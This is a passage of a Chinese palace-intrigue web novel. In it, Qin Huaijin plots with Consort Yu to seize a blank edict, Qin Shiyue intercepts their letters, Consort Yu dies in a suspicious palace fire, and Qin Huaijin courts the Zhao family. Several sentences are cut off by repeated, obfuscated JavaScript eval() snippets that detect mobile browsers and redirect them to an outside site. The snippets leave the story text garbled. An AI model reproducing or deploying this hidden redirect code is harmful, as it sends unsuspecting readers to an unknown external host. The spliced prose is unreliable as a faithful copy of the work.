他想要的,从来都只是能护着秦时月的能力。 这监国之位,这可能到手的天下,于他而言,不过是能将她护得更稳妥些的筹码。 “可什么?”秦时月疑惑。 “没什么,只要月月信我就好。” 话音未落,宋墨辰探过身,隔着小几微微俯身,吻了下来。 这个吻很轻,带着梅子酒的清甜。 秦时月闭上眼,双颊坨红发热。 一时间,竟不知是酒液作祟,还是这个吻太过暧昧。 船外的水声潺潺,远处的笙歌渐歇。 许久,宋墨辰才稍稍退开,额头抵着她的额头,呼吸微促,“冷吗?” “不冷。” 画舫仍在湖上缓缓漂着,灯笼的光落进水里,碎成一片摇晃的暖黄。 与此同时,长乐侯府内。 秦怀瑾坐在窗边,看着院子里那株半死不活的槐树,眼中流露出一丝杀意。 先前他被关在柴房,不得已装疯卖傻才求得一线生机,后来,他虽被放了出来,但被关在自己院子里没有自由,和被囚禁也没什么区别。 只是好在长乐侯对他没有赶尽杀绝,留了一个下人给他。 秦怀瑾不甘心,不甘心一辈子被困在院子里! “大少爷,药熬好了。”富贵端着药碗进来,“这药得趁热喝。” 秦怀瑾接过药碗,仰头一饮而尽。 随后转过头,虽然脸色苍白,但压根没有在柴房时那副疯疯癫癫的痴傻模样。 “富贵。”他放下碗,“替我备身像样的衣裳,再打听下,虞妃娘娘这几日是否常去养心殿侍疾。” 这段时间他多次试探,确定富贵不是秦时月的人,对他来说,富贵,或许是他能东山再起的一个关键人物。 闻言,富贵一愣,“您要去宫里?可侯爷吩咐过,您不能外出。” “你别忘了,我是秦家的嫡长子,只要你按我说的做,将来好处少不了你的。”秦怀瑾眼神阴鸷,语气却是前所未有的和煦。 他向来高高在上,这种卑贱的下人,他从来不放在眼里,可如今,为了计划能顺利进行下去,他也不得不对这个下人和颜悦色。 富贵看着他眼里的狠劲,又想着他话里的承诺,没有再劝,唯唯诺诺的退了下去。 而秦怀瑾之所以需要富贵的帮助,是因为八皇子,那个十五岁的少年。 虽说皇上子嗣不多,如今还能排得上名号的皇子更是少之又少,但八皇子宋子宁不同,他有个在后宫还算有些分量的生母,虞妃。 据秦怀瑾所知,虞妃早就对储君之位眼红不已,只是一直碍于手段不如皇后,权势不如宋墨辰,所以只能韬光养晦。 和虞妃携手,或许是他翻局的唯一筹码…… 三日后,秦怀瑾凭借长乐侯府嫡长子的身份混入宫中。 他按照记忆,顺着宫道往养心殿方向走,远远看见一队宫女捧着药碗过来,为首的正是虞妃宫里的掌事宫女。 “刘姑姑留步。”秦怀瑾上前一步,微微躬身。 刘姑姑吓了一跳,看清是他,眉头立刻皱起来,“秦公子?您怎么在这儿?” 当年秦怀瑾意气风发,随着长乐侯多次进宫,她对秦怀瑾倒是不算陌生。 后来他与秦可云那些腌臜事被爆出来,闹的满城风雨,听说他疯癫了。 可瞧着,如今明明好好的。 “烦请姑姑通报。”秦怀瑾声音压得低,“我有要事求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140149|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见虞妃娘娘,关乎八皇子的前程。” 刘姑姑眼底闪过一丝不屑,面上故意露出一丝难色,“娘娘正在侍疾,怕是不便。” “姑姑只需告诉娘娘,我能帮八皇子站上最高处。”秦怀瑾眯着眸打断她的话,“成与不成,见一面便知!” 虞妃虽然备受皇上宠爱,但有皇后镇着,这些年在宫里只能谨小慎微,就是盼着儿子能坐到那个位置。 想到这,刘姑姑犹豫再三,咬咬牙,道:“你且等着,我去去就回。” 秦怀瑾在假山后站了约莫一炷香的时间,才见刘姑姑领着个穿湖蓝宫装的女子过来。 此人正是虞妃。 “你疯病还没好,竟敢在宫里胡言乱语!”虞妃看他一眼,眼神里带着慌张与威胁。 他是男子,若被发现私下溜进后宫见她,他们就是有百张嘴也说不清。 “娘娘若觉得我疯,现在就可以让人把我拖出去斩了。”秦怀瑾不惧反笑,“只是斩了我,八皇子命大的话,这辈子就只能做个闲散王爷,命短的话,说不准会死于夺嫡!” 虞妃脚步一顿,知道他说的对,眼底闪过一丝动摇。 她这些日子在养心殿侍疾,心里知道,皇帝怕是已经油尽灯枯,宋墨辰监国后手段凌厉,朝臣们原本大半都是他的人,现在,那些原本还有些摇摆不定的,也都倒向了他。 她不是没想过争,可八皇子年幼,手里没兵权没朝臣,怎么跟根基深厚的辰王斗? “你有什么办法?”虞妃下意识地往四周看了看。 刘姑姑立即走出去望风。 “办法很简单。”秦怀瑾凑近一步,“皇上病重,神智不清,正是最好的时机。” “您日日在他身边侍疾,总能找到机会拿到空白圣旨。” 闻言,虞妃脸色一白,“你疯了!伪造圣旨是株连九族的大罪!” “不是伪造。”秦怀瑾摇头,“您只需趁皇上清醒时,说些贴心话,把笔递到他手里,让他写个空白圣旨,届时,皇上龙驭宾天,您只需添上八皇子的名字便可……我想,对于您来说,拿到空白圣旨不是多难的事。” 第272章 一切尽在掌握 这法子太险了…… “拿到圣旨又如何?”她强作镇定,“辰王手握重病,皇后将后宫看管的滴水不漏,朝臣们也向着他……” 她不怕宋墨辰和皇后不认,她怕的是,辰王直接起兵…… “娘娘只管去做,剩下的,我自有办法。”秦怀瑾信心满满。 “若是失败,就是万劫不复。”虞妃打断他,声音发颤。 她见过太多宫斗的惨烈,一步踏错,便是粉身碎骨。 “不试,才是真的万劫不复,娘娘想想,等宋墨辰坐稳了皇位,他会容得下八皇子吗!” 这句话像根针,狠狠刺进虞妃心里。 “我需要时间想想。”虞妃后退一步,眼神复杂地看着他,“你,你先回去,别在宫里逗留。” 秦怀瑾知道她已经动摇,嘴角微勾,微微躬身,“娘娘想清楚了,随时让人传信给我,只是,皇上的身子,怕是等不了太久。” 这几日长乐侯日日不着家的运作,他都看在眼里,再加上富贵打探到的一些消息,他很快猜到了宫内的情况,也正因为这样,才让他起了孤掷一注的心思。 虞妃没再说话,转身快步离开,秦怀瑾望着她的背影,嘴角勾起一抹冷笑。 他赌的就是虞妃的不甘心,一个在后宫忍了十几年的女人,怎么可能眼睁睁看着别人登上那个位置,而自己的儿子却任人宰割。 宋墨辰秦时月,你们欠我的,我会一点一点,连本带利地讨回来! 另一边,秦时月斜靠在窗边的软榻上,静静看着手里的医书。 就在这时,小荷走了进来,“小姐,张护卫来了。” 秦时月合上书,“让他进来。” 张护卫是她亲自调进侯府的,身手利落,性子沉稳,这些日子一直盯着秦怀瑾的动向。 “属下参见小姐。” “起来说吧。”秦时月示意小荷看茶,“这几日,他可有异动?” 张护卫起身,“回小姐,属下查到,他与宫里有过几次暗中通信。” 秦时月端杯的手微微一顿,“宫里?知道是哪位吗?” “是虞妃娘娘宫里的人。”张护卫抬眼,似是回忆了一下,继续道:“前几日富贵去采买时,跟一个妇人碰了面,属下查到,那妇人正是虞妃宫里掌事刘姑姑。” 秦时月望着杯里沉浮的茶叶,摩挲一下杯沿,“他们通信多久了?” “至少有半月了。”张护卫道:“我一直在暗中跟踪。” 她原以为秦怀谨经此一劫,总会收敛些心性,却没想他竟悄无声息地跟宫里搭上了线,还是八皇子的生母虞妃。 秦时月冷笑一下,抬手喝了一口茶,“他们传递的信件,可有法子弄到?” 张护卫面露难色,“他们交接时极为小心,属下试过派人接近,都被他们警觉地避开了,所以我暂时拿不到他们往来的信件。” “那就继续盯着。”秦时月放下茶杯,声音里听不出太多情绪,“不管他们传什么,都要查清楚。另外,秦怀瑾每日见了谁,说了什么,都要一一记下来,然后回禀给我。” “是。”张护卫应声,又道:“小姐,要不要把这事告诉辰王殿下?” 要是没有信件,就无法知道秦怀瑾勾结虞妃的目的。 不过,八皇子的生母似乎是虞妃,如果是这样,那秦怀瑾的目的,也就很容易猜了。 秦时月抬眼望向窗外,“这不是你该管的,我给你三日时间,无论如何,都要把信件截获,必须要留一个证据。” 这证据嘛,是给皇帝看的。 “是,属下明白,这就去做。”张护卫点头,识趣的退出揽月园。 待他离开后,秦时月冷哼一声。 现如今宫里宫外都被宋墨辰和皇后把持着,他哪来的胆子去做这些!? 张护卫的办事速度很快,不出三日,成功从富贵手里截获了送往宫里的信件。 秦时月握着那些密信,展开信纸,忍不住勾起了唇角。 秦怀瑾倒是豁得出去。 这信上竟然连虞妃该如何在皇帝昏沉时假装喂药,趁机将空白圣旨塞到御案死角,又该如何在侍疾时悄悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140150|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记下玉玺的摆放角度,都一一列了出来。 最后甚至提醒,若实在拿不到空白圣旨,可趁皇帝弥留之际,撕块龙袍下摆当信物,届时他自有办法把八皇子推上去。 真是可以,她竟不知,秦怀瑾有这样的胆子,这样的心计,倒是她小看了他。 最有趣的是,秦怀瑾被关在他的院子里竟还能勾连到外面的人,也真是出乎她的意料。 秦时月没有节奏的敲击着桌面,然后低声唤来影一,“找两个人,把这信送回去,不要打草惊蛇。” 影一领命,悄无声息的离开。 秦时月走回屋内取过一张素笺,思考了半晌,决定还是给宋墨辰送个信提醒一下。 “秦怀瑾与虞妃有私函,言及盗玉玺、立储,甚至逼宫,信已送进宫,嘱人留意虞妃动向,需慎防。” 写完之后,秦时月又读了一遍,这才将素笺折了一下,放到信封里。 “来人。”秦时月喊了一声。 影夜从暗处出来,恭敬的跪在她身前。 “送到王府,亲手交给王爷,若他已歇下,就搁在他案头,不必叫醒。” 影夜接过竹管,应了声“是”,脚步轻快地去了。 屋内终于静下来,秦时月走到窗边,推开一条缝隙。 夜风带着秋凉灌进来,她望着远处皇城的方向,眼神中充满担忧。 此城存亡危急之秋,若秦怀瑾和虞妃的计谋得逞,最终失利的,将不止宋墨辰、皇后,还有她。 就是不知道虞妃见了这信会是什么反应。 八皇子是虞妃唯一的指望,所以,虞妃很可能破釜沉舟。 只是让秦时月好奇的是……秦怀瑾会怎么帮她? 虞妃手里除了八皇子,并没有什么筹码,娘家在朝中更没有根基。 即便她拿到空白圣旨或什么信物,又如何能在宋墨辰的威压下坐的上那个位置? 难不成是和禁军有勾结? 想到这,秦时月的眉头没由来的皱了起来。 如果真是这样,那就麻烦了…… 第273章 秦怀瑾与禁军有联系? 正思忖着,窗外传来极轻的声音。 秦时月知道,是影一回来了。 “说。”她没有抬眸,眉头轻蹙着轻声道。 “虞妃已见信。” 秦时月沉默片刻,道:“继续盯着,他们的一举一动务必告诉我。” “另外,通知王爷,让他多留意京中防务,我总觉得忽略了什么……” “是。”暗一身影一闪,又隐入了暗处。 她关了窗转身走到案前,给自己倒了杯冷茶。 茶水入喉,带着点涩味,却让她清醒了几分。 就在此时,窗外的天色渐渐泛白,远处传来更夫打更的声音。 …… 另一边,宋墨辰收到秦时月来信后,并没有特别在意,他只是将信放到一边的火盆里,看着信封燃烧殆尽。 在他看来,宫里有母后把持,虞妃即使有天大的本事,也无法和母后对抗。 若虞妃真的做了什么,不用他出手,他的母后就会直接料理了。 但秦时月都来信提醒他,让他务必小心,还是让人去提醒一下母后的好,以防万一。 “来人,去凤仪宫走一趟。”宋墨辰开口。 侍书愣了愣,“王爷是要亲自去?” “不必,你遣个人去。”宋墨辰抬眸,“让他跟母后说,注意虞妃。” 他完全没把虞妃放在眼里,在他看来,虞妃就是个无足轻重的小角色,只是,让他的月月不痛快,那就要注意着些了。 “关于秦怀瑾……你亲自去查,事无巨细,都要及时告诉我。” 虽不知秦怀瑾是如何联系上虞妃的,但单从他靠装疯卖傻保命,到如今联系上虞妃的情况来看,他必是个心机深沉的。 他倒是不担心这俩个人会破坏自己的计划,他担心秦怀瑾会做出不好的事情,牵连秦时月。 虽然他们二人关系不和,但她未过门,还是长乐侯府的人,若是秦怀瑾出了事,牵连长乐侯府,秦时月必然会遭牵连。 “是,属下这就去安排!” 侍书离开后,宋墨辰打开窗户,幽深的目光看向揽月园的方向。 他知道秦时月是为了他好,但想做他宋墨辰的敌人,虞妃母子,还不够格。 …… 翌日。 “小姐,大公子今晨又出府了。”张护卫回禀道。 “去哪了?”秦时月百无聊赖的靠在太妃椅上,淡定的玩着手里的手钏。 “去了北营附近的酒肆,跟几个穿军服的人坐了一会儿。” 听到这话,秦时月眉眼弯起,“看清楚了,是禁军的号服?” “瞧着像是禁军。” “倒是长进了。”秦时月轻笑出声,“前几日去赌坊,应该是想找些亡命之徒,昨日去禁军统领外宅,怕是想攀高枝,今日混进酒肆……呵,他这是撒网呢。只可惜网眼太大,最终的结果就是,什么也捞不着。” 就在这时,小荷捧着一沓账本跑了过来,“小姐,香料铺掌柜的,送来了三成红利来,说是想再盘隔壁的铺子扩店。” 听到这话,秦时月接过账本翻看,不错,短短俩月时间,香料铺就赚了两万两白银,也难怪店主想扩店。 “让他扩,租金照市价算就是。”她笑笑,账本都没翻。 经过两个月的努力,商业街越来越繁华,商业街上所有的空铺子全部被商户们盘下,有些商户甚至在铺子前摆上了小摊,眼下,商业街一天净收入高达上千两。 幸好当初没有答应和皇帝分这笔钱,否则这些钱可落不到她的口袋。 “商户们都说,跟着小姐做生意,赚到的钱是以往的好多倍。”小荷甜甜的笑了一下,并主动帮秦时月倒了一杯茶。 秦时月起身看着墙外商业街的方向,唇角勾起一抹轻笑。 如今商业街有了规模,女子学堂那边也建的差不多了,也该去看看了。 几个月前,皇帝批给了她一块地开办女子学堂,算算时间,也到了女子学堂开课的时候了。 正想着,小荷不知从何处拿出来一块布料。 那是一块月白色布料,看起来十分纯净。 “小姐,这是商业街的王掌柜给的布料,我瞧着素净,给您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143983|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做一套襦裙应当好看。” 秦时月抬眸看了看,“我衣服够多了,倒是新来的先生性子淡雅,这个颜色正好,你命人去帮她量裁好,制成新衣送过去。” “对了,这几日我没过问,学堂的课本都印好了吗?” “印好了,”小荷笑着回话,“就是有几位夫人来问,说能不能让家里的庶女也来听课,还说愿意多缴拜师礼。” “为何不可?”秦时月挑眉,“我办这学堂,本就不是只给嫡女办的,你去告诉她们,只要是真心想学,不论嫡庶,不论出身,都收。” 闻言,小荷点点头,喜笑颜开地走了出去。 望着她的背影,秦时月突然想起来,她已经很久没见到宋墨辰了,不知他现在在做什么。 想到这儿,她随口说了一句,“王爷这些天都在做什么?” 影一从房梁上跳下,神情闪烁,“王爷似乎很忙,属下不清楚。” “他这几日,连回王府的空都没有?”秦时月有些奇怪。 “是。” 看来,皇宫局势比她想象的还要严峻,不知宋墨辰一个人是否能应付得过来。 他如今肩负监国重任,怕是这段时间都住在宫里。 她望向皇宫的方向,眉头微蹙,心头划过她自己都没察觉到的心疼。 秦时月起身走到一旁的柜子前,从柜子里拿出一个方方正正的锦盒,锦盒里是一方墨色中带蓝,触感温润,色如碧玉、石纹独特的歙砚。 “把这个给王爷送去。”秦时月推开窗户看向窗外的梅子树,眉眼柔和,“你和他说,梅子酒已酿下。” “是。” 影一恭敬接过锦盒,转眼消失。 秦时月知道,宋墨辰身为嫡出五皇子,日常所用即便不是贡品,也都是价值千金的,未必需要这方歙砚,但她要送的,也不止是一方砚台…… 不知不觉,夜色降临,更深露重,已经是亥时三刻了。 秦时月洗漱完,躺在了床上,脑海里想着明日要去女子学堂的事。 就在这时,窗口突然想起“咔哒”一声轻响。 第274章 梁上君子 随后便是熟悉的脚步声。 是宋墨辰。 她怔愣一下,还是起身拢了拢衣服,随手抄起披风将自己裹了个严实。 宋墨辰穿着身玄色常服,领口沾着点夜露的湿痕。 “我就说你还没睡。”他轻巧地翻窗而入,嘴角带笑。 秦时月转过身瞪他,语气中有些埋怨,“宋墨辰,你能不能讲讲道理,这是侯府,不是你辰王府,次次都翻墙翻窗,传出去了,我的名声还要不要?” 其实,她更想说,为什么那么久不来找她,宫里究竟出了什么事,是否需要她帮忙…… 虽然她现在的势力远远不如他,但她也能帮上忙。 宋墨辰没有说话,只是几步凑到她跟前,张开双臂将她圈进怀里。 他身上的寒气混着龙涎香的清冽,瞬间包裹了她,让她俏脸一红,无意识地往他怀里缩了缩。 “解释什么?”宋墨辰喟叹一声心满意足的又有些无赖的说道:“我是你的夫婿,即便有人看到,也不会传出什么。” 他不是不想尽快迎她进府,是他的好父皇,以各种理由搪塞。 他如今监国,想着或许,是时候将婚事提上日程了…… “还有,你当我不清楚?侯府的护卫都是你的人,就算看见了,难道还敢把我这个监国王爷捆起来丢出去不成?”宋墨辰笑着说道,语气中多了一丝打趣。 “你。”秦时月被他堵得说不出话,挣扎着想推开他,却被他抱得更紧。 “放手!” “不放。”宋墨辰耍赖似的把下巴搁在她的肩头,“月月,我好累……” “我好想你,想得紧。我这几日忙得脚不沾地,闭眼就是奏折上的朱砂印,好不容易得空,你还凶我……” 他的声音带着疲惫的沙哑,秦时月的心莫名软了。 “谁凶你了。”秦时月的声音放软了些,“我只是觉得,走正门不好吗?让门房通报一声,光明正大的。” “正门?”宋墨辰低笑出声,依旧抱着秦时月,“我要是大半夜让门房来敲你院门,说辰王要见秦家小姐,明儿全京城都会传你侯府姑娘急不可耐,连规矩都不顾了。” 他顿了顿,故意压低声音,“我们毕竟没有成婚,我不能半夜进你的内院。所以我呀,只能做个梁上君子。” “你!”秦时月的脸微微泛红,害羞的低下了头,挣开他的怀抱起身走到桌边。 她背对着他,能感觉到他的目光一直落在自己身上。 “喏。”秦时月倒了一杯新茶,推到他面前,“说吧,这么晚过来,可是有事?” “我不是说了吗,我想你了。”宋墨辰拿起茶杯,却没喝,看向她的眼神里带着浓烈的爱恋。 “说正事。”她清清嗓子,埋怨的瞪了他一眼。 见状,他低笑一声,随后实话实说,“今日后宫走水了。” “什么!?” “虞妃宫里,亥时烧起来的。”宋墨辰看了看自己的衣袍。 幸好在来之前换过衣服,否则怕是要熏到月月了。 秦时月端着茶杯的手顿了顿,“火势大吗?” “不小。”宋墨辰喝了口茶,思考道:“虞妃,没能逃出来。” 如今早过了天干物燥的时候,况且又是宫里,这个时候走水,怕是不简单。 再加上前些天她刚将秦怀瑾和虞妃勾搭上的事告诉宋墨辰,现在虞妃的宫里就突然走水……怎么想都不对劲。 “是意外?”秦时月挑眉问道。 后宫那些事乱的很,若不是人为,就是自导自演。 若是后者,那么死……就是不可能的,或许是死遁。 她必须要问清楚。 宋墨辰没直接回答,只是看着她,“说是烛火引燃了帐幔,虞妃的房梁是前年新换的楠木,烧起来格外快,等侍卫破门进去时,已经晚了。” 听到这话,秦时月沉默了。 烛火引燃帐幔?宫人都是摆设吗? 就算真起了火,以虞妃如今在皇上心中的地位,身边怎么可能没有贴身宫女伺候? 再者,楠木易燃,可亥时正该是宫人值夜最警醒的时候,怎么会烧到连人都救不出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143984|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地步? 所以,若不是自导自演,此次走水,就不是意外! 她抬起头,对上宋墨辰的目光,从他眼底看到了一丝笑意。 是皇后! 宋墨辰见她眼神变幻,没多言,只是嘴角带笑,端起茶杯又喝了一口,“后宫的事,历来说不清。” “是说不清,”秦时月淡笑一声,“但总不会这么巧,秦怀瑾刚跟虞妃勾搭上,想借八皇子做点文章,虞妃就意外走水了,这把火,烧得可真是时候。” 皇后娘娘出手,一切,自然水到渠成。 能在深宫里坐到那个位置的人,果然,不是一个简单的。 看似只是处理了个不起眼的妃嫔,实则一举掐灭了所有可能威胁到现有格局的火苗。 不过…… “那,八皇子呢?” 不管怎么说,那孩子才十五岁,不该被卷进这些阴谋里。 提到八皇子宋子宁,宋墨辰的脸色严肃几分,“被救出来了。房梁塌的时候,燃烧的碎木片划伤了脸,脸被烧的不轻。” 他是狠厉,杀伐果断,但也不至于加害胞弟。 只希望,这次的事能给宋子宁留下一个深刻的记忆,至少让他,不敢再觊觎不属于他的位置。 秦时月的心揪了一下。 十五岁的少年,正是爱美的年纪,脸毁了,以后该怎么办? “人已经过到安嫔名下了。”宋墨辰继续说道:“安嫔性子温和,又没什么野心,把他放在那儿,至少能保个平安。” “安嫔?”秦时月挑眉。 没记错的话,安嫔出身低微,没有母族可以依靠,更没有朝臣会因为她的缘故去扶持八皇子。 一个毁了容、养在无权无势的嫔妃名下的皇子,从今往后,再也不可能对储位造成任何威胁。 只要他们“母子”安分,将来也能落个不错的下场。 想到这,秦时月点点头,没再说话。 宋墨辰看着她眼底的了然,笑了笑,“月月聪慧,果然一点就透。” “不然呢?”她白了他一眼。 第275章 女子可占半边天 “不说我了,说说你吧,有没有什么需要我帮忙的地方。”宋墨辰凑过去,想起秦时月先前办的女子学堂,问道:“你的学堂是不是快开课了?” 秦时月点点头,语气轻快,“暂定下月初。” “我排了几门课,你帮我看看,有没有什么不妥的地方。” 他接过课表,借着烛光仔细看了一番,除了寻常的女红、诗书,还有几门课格外显眼。 “医理开蒙?”宋墨辰指着第一行,“你要教她们看病?” “不只看病。”秦时月起身关窗,“我请了几位名医,他们每周会来两三趟,先从认药开始教,然后再教她们调理身子、看诊。懂点医理,至少能知道怎么照顾自己,不至于被些庸医糊弄。” 思考了一会儿,她继续说道:“有天赋的,我会亲自教导她们,如何行医。” 女子不比男子差,男子能做的,女子照样可以,只要她们肯学,她知无不言。 再者,行医,也算是一技之长,将来足以靠此谋生。 宋墨辰点点头,目光继续往下移,落在“星象观测”四个字上时,忍不住挑了挑眉,“这个,你也教?” “怎么,不行吗?”秦时月笑笑,“我托人请了钦天监的老监正,给的银子足,他答应每周来一次。” 她不是要她们看懂什么星象预示,也不是要她们学那些占卜吉凶的把戏,她只是想让她们知道,日月星辰更替,不只是男子才能研究的东西。 她们可以像夜空中的繁星,虽不多,但足以照亮前程。 “你看这天上的繁星,它们就在那儿,不论男女、身份,谁都可以看,天空那么大,总该让她们也抬头看看,她们的一生,不是只有绣架、灶台和夫婿的。” 宋墨辰呼吸一滞,心里有什么剧烈狂跳起来。 “你这学堂,教的东西倒是真不少。”他深吸口气,努力平复心情,然后放下课表,认真说道。 “怎么?女子合该只知道描眉画眼吗?”秦时月挑眉,好笑的看着他,“我偏要教些其他东西。诗书女红能让她们知礼,医理能救命,算术能安身,星象能开阔眼界,这些东西,是能让她们站稳脚跟的根本。” 自从那件事发生之后,赵景阳便疯了,赵太傅无奈,只好将其关在房间里,不让她出门见人,生怕她做出什么出格的事情。 赵母端着一碟刚蒸好的桂花糕走了进来,“景阳,刚做了你爱吃的,尝尝吧。” 闻言,赵景阳没回头,看着镜子里的自己冷笑,“娘觉得我现在还有心思吃这些?外面那些人指不定怎么编排我,我那个样子,他们肯定都看见了,我的名声算是完了。” “你别听外面的闲言碎语。”赵母走过去,想替她理理头发。 “那你们让我出去啊!” “娘这不是怕你出去受委屈吗?等过些日子风头过了,娘就放你出去。”赵母轻声说道。 赵景阳的名声算是毁了,不让她出去,把她关在家里也算是对她的一种保护。 “风头过了?”赵景阳猛地转过身,“过些日子我就能出去了,出去了人家就不笑我了吗,你们心里比谁都清楚,这一切是谁造成的,是秦时月那个**!都是她!” “住嘴!”赵母喊了一声。 她也很想出手为赵景阳报仇,让秦时月把赵景阳受过的苦全部尝一遍,可这件事,皇帝已有定论。 况且如今监国的是宋墨辰,他权势滔天,而秦时月又是准辰王妃,他们怎么敢对秦时月出手。 既然查到了是祝玲珑,那就是祝玲珑做的! “你要我说多少遍?我被人欺辱的事不是祝玲珑做的!”赵景阳愤愤不平,“若不是秦时月那个**,我怎会被那些人欺辱至此?是她害了我,你们竟然连我真正的仇人都不敢对付!” “现在倒好,她以后是辰王妃,功成名就,我却是众人眼里的疯子!” 赵母叹了口气,“娘知道你委屈,可秦时月,咱惹不起。这事得从长计议,你放心,我是不可能让秦时月活的开心!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143985|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她知道,必须要给赵景阳报仇,但现在不是好时机。 “从长计议?我等得起吗!”赵景阳的声音带着哭腔,“我一天都等不了了!我一闭上眼就是那些人指着我的鼻子骂,娘,你就忍心看着我这样下去!” “景阳,这不是小事。”赵母打断她,安抚道:“你先乖乖待着,别再乱发脾气,我去想办法。” 就在这时,赵府的管家突然找了过来。 管家拿着一张拜帖,帖子上写着“秦怀瑾”三个大字。 “夫人,有人来了。”管家小心翼翼的走到赵母面前说了一句,眼神试探性的看向赵景阳。 若不是赵太傅不在,管家也不会来回禀赵母。 看到拜帖上的字后,赵母眉头不由自主地蹙起,“秦怀瑾?他来做什么?” 他不是秦时月的兄长吗? 赵家还没去找秦时月的麻烦,秦怀瑾倒是先送上了门! 听到这话,赵景阳的手微微一顿,眼底闪过一丝诧异,“秦怀瑾?据我所知,他和秦时月的关系并不好。” 赵母犹豫片刻,终究点了头,“既如此,让他到书房等着,我过会儿就去。” 管家领命,快步走了出去。 待管家离开后,赵母又陪着赵景阳寒暄了几句,这才往书房的方向走去。 书房里,秦怀瑾见赵母进来,起身作揖,“见过赵夫人。” “秦公子不必多礼。”赵母在主位坐下,语气淡淡的,眼神带着打量,“不知公子今日登门,有何贵干?” 秦怀瑾直起身,开门见山道:“晚辈今日前来,是想跟赵府做笔交易。” “交易?”赵母嗤笑一声,“秦公子怕是找错地方了,和我们做什么交易?” 众所周知,太后去世后,赵家早就名存实亡了,如今更是一点实权都没有。 “晚辈知道,郡主近来在京中受了些委屈。” 听到这话,赵母的脸瞬间沉了下去,“秦公子这话是什么意思?” 第276章 四处拉合谋 “没什么意思。”秦怀瑾的声音很稳,“晚辈能帮郡主摆脱困境,甚至能让那些欺辱过小姐的人,付出代价,包括秦时月。” 闻言,赵母端起茶盏的手顿在半空。 他能帮忙对付秦时月? “秦公子倒是会说大话,你自己尚且在秦家步履维艰,又能帮我们景阳做什么?” “晚辈确实势单力薄。”秦怀瑾坦然承认,“可若是有赵府相助,情况就不一样了。实不相瞒,晚辈想助八皇子上位,只要八皇子能登大宝,赵府便是从龙之臣,到时候别说给郡主出气,让秦时月提头来见,也并非难事。” “八皇子?”赵母像是听到了天大的笑话,“秦公子是糊涂了还是忘了,虞妃娘娘已经逝去了。” 谁都知道八皇子前阵子被困,半边脸被烧伤,再无争宠的可能。 况且八皇子年幼,无权无势。 可秦怀瑾的眼神却异常坚定,“正因如此,八皇子才更需要助力,而赵府,也需要一个机会,难道夫人不想让秦时月和宋墨辰为他们做过的事情付出代价吗?” 提到他俩,赵母的手指猛地攥紧,“你想说什么?” 秦怀瑾笑了笑,“虞妃身死,八皇子毁容,这一切都是宋墨辰和秦时月设计的,更何况他们还设计了赵小姐。还有……赵夫人以为太后娘娘的死,真的是因病重?” 这话一出,赵母变了脸色。 太后是赵氏一族的靠山,她的突然离世,一直是赵家心头的一根刺,虽然后来太医诊断是积劳成疾,可赵家总觉得哪里不对劲。 “你胡说什么!”赵母的声音里带着难以置信,“太后娘娘病重离世是举国皆知的事……” 秦怀瑾打断她,“太医们说了什么,取决于皇上想让他们说什么。” “你说的是真的?太后的死,跟秦时月有关?” “是不是真的,赵夫人心里难道没数吗?”秦怀瑾看着她,“太后娘娘可是赵家坚实后盾,她一死,赵家在宫里的势力便断了大半,据我所知,这件事就是他们做的。” 赵母有些不可置信,张张嘴,一个声调也发不出来。 就在这时,书房的门被猛地推开,赵太傅脸色铁青地站在门口。 刚才的话他在门外听得一清二楚。 “老爷,你回来了。”赵母又惊又怒。 